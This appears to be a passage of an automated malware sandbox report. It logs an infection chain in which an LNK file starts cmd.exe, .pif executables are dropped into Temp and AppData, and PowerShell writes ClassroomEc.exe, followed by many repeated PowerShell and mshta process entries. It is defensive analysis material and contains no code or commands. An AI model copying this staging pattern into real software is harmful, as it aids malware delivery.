Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	File created: C:\Users\user\AppData\Local\NeuraConnect Technologies\NeuraLink.pif			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Producing	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	File created: C:\Users\user\AppData\Local\NeuraConnect Technologies\NeuraLink.pif	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe

File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Producing

Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
